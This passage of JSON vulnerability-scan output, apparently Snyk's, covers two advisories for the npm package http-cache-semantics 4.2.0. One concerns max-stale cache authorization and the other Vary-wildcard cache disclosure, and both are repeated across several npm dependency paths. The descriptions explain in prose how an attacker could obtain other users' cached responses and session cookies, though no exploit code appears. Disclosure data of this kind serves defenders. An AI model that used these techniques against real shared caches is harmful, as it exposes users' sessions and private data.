"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red 